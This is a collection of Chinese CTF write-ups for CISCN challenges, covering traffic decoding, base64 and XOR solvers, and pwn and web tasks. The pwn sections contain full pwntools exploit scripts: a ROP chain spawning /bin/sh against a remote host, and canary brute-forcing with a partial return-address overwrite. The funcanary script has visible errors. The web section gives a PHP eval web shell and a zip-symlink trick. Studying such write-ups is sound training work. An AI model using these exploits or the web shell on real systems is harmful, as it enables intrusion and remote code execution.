[CISCN-Misc] 签到卡
[CISCN-Misc] 被加密的生产流量
在过滤器中搜索modbus
发现类似base的编码
跟踪TCP流得到Base32密文
在线解密
[CISCN-Crypto]可信度量
非预期解
分析题目,发现修改程序后的测试程序位于容器内,使用winscp通过scp连接容器,观察分析文件,尝试直接寻找flag文件。
ssh连接后,连续cd..后,进入proc文件夹。
查看环境信息:
cat /proc/*/task/*/environ
其中包含flag信息,即可得到flag
[CISCN-Crypto]wp of Sign_in_passwd
分析题目,为换表base64:
代入脚本得到flag
import base64
dic=dict(zip(range(65),'GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5'))
# GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
print(dic)
a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' #标准表
c='j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'
ds='' #把dict转换成字符串方便处理
for i inrange(65):
ds+=dic[i]
l=[]
for i inrange(len(c)):
l.append(ds.index(c[i])) #无论换不换表,base64变换本身产生的6位二进制数对应的十进制数是不变的,这里就是找到密文c的每个字符在dict表中键值
print(l) #l中存的是索引值(下标数字)
m1=''
for ll in l:
m1+=a[ll] #找到l中所存的每个数字在标准的base64加密表中所对应的字符
print(m1) #m1是标准base64表编码结果
m2=base64.b64decode(m1) #直接调用函数恢复出明文
print(m2)
[CISCN-PWN]wp of 烧烤摊儿
漏洞分析
将所给文件拖入IDA静态分析
主函数
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // er8
int v6; // er9
int v7; // edx
int v8; // ecx
int v9; // er8
int v10; // er9
int result; // eax
unsigned int v12; // [rsp+Ch] [rbp-4h]
welcome(argc, argv, envp);
v12 = menu(*(__int64 *)&argc, (__int64)argv, v3, v4, v5, v6);
if ( v12 <= 5 )
__asm { jmp rax }
printf((unsigned int)&unk_4B7008, (_DWORD)argv, v7, v8, v9, v10);
exit(0LL);
return result;
}
在IDA文件目录的gaiming中可以发现危险函数scanf
_isoc99_scanf((unsigned int)"%s", (unsigned int)v5, v0, v1, v2, v3);
*主要攻击思路
对vip,pijiu函数处理
__int64 vip()
{
puts("老板,你这摊儿,我买了");
if ( money <= 100000 )
{
puts("没钱别瞎捣乱");
}
else
{
money -= 100000;
own = 1;
puts("成交");
}
return 0LL;
}
__int64 pijiu()
{
int v0; // edx
int v1; // ecx
int v2; // er8
int v3; // er9
int v4; // edx
int v5; // ecx
int v6; // er8
int v7; // er9
int v9; // [rsp+8h] [rbp-8h] BYREF
int v10; // [rsp+Ch] [rbp-4h] BYREF
v10 = 1;
v9 = 1;
puts("1. 青岛啤酒");
puts("2. 燕京U8");
puts("3. 勇闯天涯");
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v10, v0, v1, v2, v3);
puts("来几瓶?");
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v9, v4, v5, v6, v7);
if ( 10 * v9 >= money )
puts("诶哟,钱不够了");
else
money += -10 * v9;
puts("咕噜咕噜...");
return 0LL;
}
阅读ida伪代码,可以通过负数形式达到进行对strcpy函数操作的目的
打开虚拟机终端,checksec一下
sekiro18@ubuntu:~/Desktop$ checksec shaokao
[*] '/home/sekiro18/Desktop/shaokao'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
构造ROP链
sekiro18@ubuntu:~/Desktop$ ROPgadget --binary ./shaokao --ropchain
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
EXP
from pwn import * from struct import pack context(log_level='debug',arch='amd64') #r=process('./shaokao') r=remote('39.105.58.194',35270) r.sendline('1') r.sendline('3') r.sendline('-1000000') r.recvuntil('咕噜咕噜...\n') r.sendline('4') r.recvuntil('成交\n') r.sendline('5') #r.recvuntil('请赐名: ') # Padding goes here p = b'a'*0x28 p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret p += pack('<Q', 0x00000000004e60e0) # @ .data p += pack('<Q', 0x0000000000458827) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret p += pack('<Q', 0x00000000004e60e8) # @ .data + 8 p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040264f) # pop rdi ; ret p += pack('<Q', 0x00000000004e60e0) # @ .data p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret p += pack('<Q', 0x00000000004e60e8) # @ .data + 8 p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret p += pack('<Q', 0x00000000004e60e8) # @ .data + 8 p += pack('<Q', 0x4141414141414141) # padding p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret p += pack('<Q', 0x0000000000402404) # syscall r.sendline(p) r.interactive()
[CISCN-PWN]wp of funcanary
漏洞分析
将所给文件拖入IDA静态分析
主函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]
sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
存在溢出函数
unsigned __int64 sub_128A()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}
checksec一下
[*]'/home/sekiro18/Desktop/wangan/funcanary'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,但有后门函数
int sub_1228()
{
return system("/bin/cat flag");
}
需要修改返回地址到1228内,所以直接改变返回地址为后门函数
有fork函数,会在程序运行时建立子进程,保证canary不变,可以逐位爆破canary
canary=''
while len(canary) < 8:
for i in range(0,256):
s=io.recvuntil('welcome')
io.send(payload+canary+chr(i))
if b"have fun" in s:
canary+=chr(i)
break
if i == 255:
break
爆破后还需绕过pie保护,可以类似用off by one的思路溢出覆盖程序后下两位地址,保证高位地址不发生变化,避免去爆破高位地址
for i in range(16):
io.recvuntil('welcome') payload=b'a'*0x68+p64(canary)+p64(0)+p16(i*0x1000+0x228)
io.send(payload)
这里注意由于分页机制低三位地址不变,所以爆破第四位即可
EXP
from pwn import * context(log_level='debug',arch='amd64') r=process('./funcanary') r=remote('',) canary='' payload='A'*0x68 while len(canary) < 8: for i in range(0,256): s=r.recvuntil('welcome') io.send(payload+canary+chr(i)) if b"have fun" in s: canary+=chr(i) break if i == 255: break canary=u64(canary) for i in range(16): r.recvuntil('welcome') payload=cylic(0x68)+p64(canary)+p64(0)+p16(i*0x1000+0x228) r.send(payload) r.interactive()
[CISCN-Reverse]wp of babyRE
进入该网址
观察加密,是简单异或加密
拿到secret
加密逻辑是简单异或,编写解密脚本
#include<iostream> using namespace std; int main() { int data[] = {102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30,0}; char a = (char)data[0]; for (int i = 1; i < 42; i++) { cout <<a; a ^= data[i]; } cout <<"}"; return 0; }
[CISCN-PWN]wp of Unzip
打开之后发现是文件上传,任意传一个文件,
Php编写程序,把木马压到zip里面上传,直接上传一句话木马无效,尝试在压缩包里藏一个软链接把文件勾出来,多次尝试后得到
/var/www/html
根据文件内容 此时再上传一句话木马
<?php @eval($_POST['shell']);?>
完成后以post方式传参即可得到flag回显